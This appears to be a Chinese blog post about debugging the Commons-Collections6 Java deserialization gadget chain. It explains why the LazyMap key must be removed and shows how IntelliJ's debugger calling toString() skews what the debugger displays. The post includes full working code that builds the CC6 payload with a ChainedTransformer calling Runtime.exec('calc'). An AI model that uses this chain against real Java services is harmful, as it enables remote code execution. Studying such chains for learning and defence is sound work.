幽默的Commons-Collections6调试
事情是在考完期中之后,同学在调式cc6链的时候发现了奇怪问题。
(下面写的过于详细了。。。)
问题发现
(在尝试找出cc6中 为什么LazyMap 最后要使用remove的时候)
就是lazyMap中放的是空的HashMap
之前代码并没有向hashMap中写入任何东西,为什么在这里却必须要remove掉’aaa’才能触发链子呢
于是调试
在创建TiedMapEntry的地方打上断点,跟进
赋值完map的时候还算是正常
可是到下一步
参数map的size大小怎么突然由1变成2了?又没有对map进行任何操作
这里LazyMap为什么多了且是什么时候多了一个键值对的?
难道后面remove移除的键值对是这个时候添加上去的吗?
上面发现这个问题的时候,我去翻了翻以前的笔记:
当时其实也是没搞懂,就描述了情况,并没有想明白
(好像也是在网上没找到提到过的文章)
问题调试
可能对于刚学java反序列化漏洞不久的来说,可能对这种情况就毫无头绪
但凭着我对Rome链的学习,得知可能是调试器的问题
于是调整代码,写入求LazyMap的大小
package com.yyjccc.CommonsExp;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class Cc6 { public static Object cc6() throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap= new HashMap<>(); Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa"); System.out.println(lazyMap.size()); HashMap<Object,Object> map2=new HashMap(); map2.put(tiedMapEntry,"sss"); System.out.println(lazyMap.size()); lazyMap.remove("aaa"); System.out.println(lazyMap.size()); Class c=lazyMap.getClass(); Field factory=c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); return map2; } }
|
直接运行
那说明,运行的时候并不是我们刚才那个地方写入的LazyMap的
而是在后面Hashmap put的时候插入的
那我们上面调式的现象又是怎么回事
然后,调试到那个方法(构造方法)
还是size还是2
运行完:
直接突然说wc,启动调试结果与直接运行结果不一样(:
根据我之前的经验,这里应该就是调试器的问题,调试器展示对象视图的时候会自动调用对应的toString方法(我猜测就是这个问题)
问题所在
真正的写入LazyMap键值对
运行的时候可以定位到
众所周知,HashMap的put方法会调用key的hashCode方法
所以会调用TiedMapEntry#hashCode方法
然后是getValue方法
应为这里的map是LazyMap,
看看LazMap#get
应为是map是之前没有赋值的HashMap ,所以一定是走的if里面,这个时候就会把key(‘aaa’) ,value(之前LazyMap中的factoty.transform()) 写入HashMap
也就是这个时候向LazyMap写入了 ‘aaa’-> … (LazyMap有这个设定…没有就写入。。。)
所以若没有remove掉的话,会在反序列化的时候触发最外层HashMap key的hashCode方法就会走到这里。如果map有这个key,就不会走if里面就不会调用transform方法了
总之是在hashmap.put方法将
调式时候突然的写入
直接看TiedMapEntry#toString
这里也会调用getValue与hashCode方法效果一样,
LazyMap中没有key,就写入(…)
导致会误以为是在构造方法里面就完成的写入
调试器自动调用toString,所以调式那个方法的时候结果就会改变
(idea的抽象)
问题解决
设置->调式器-> 数据视图-> Java 中关闭上面两项设置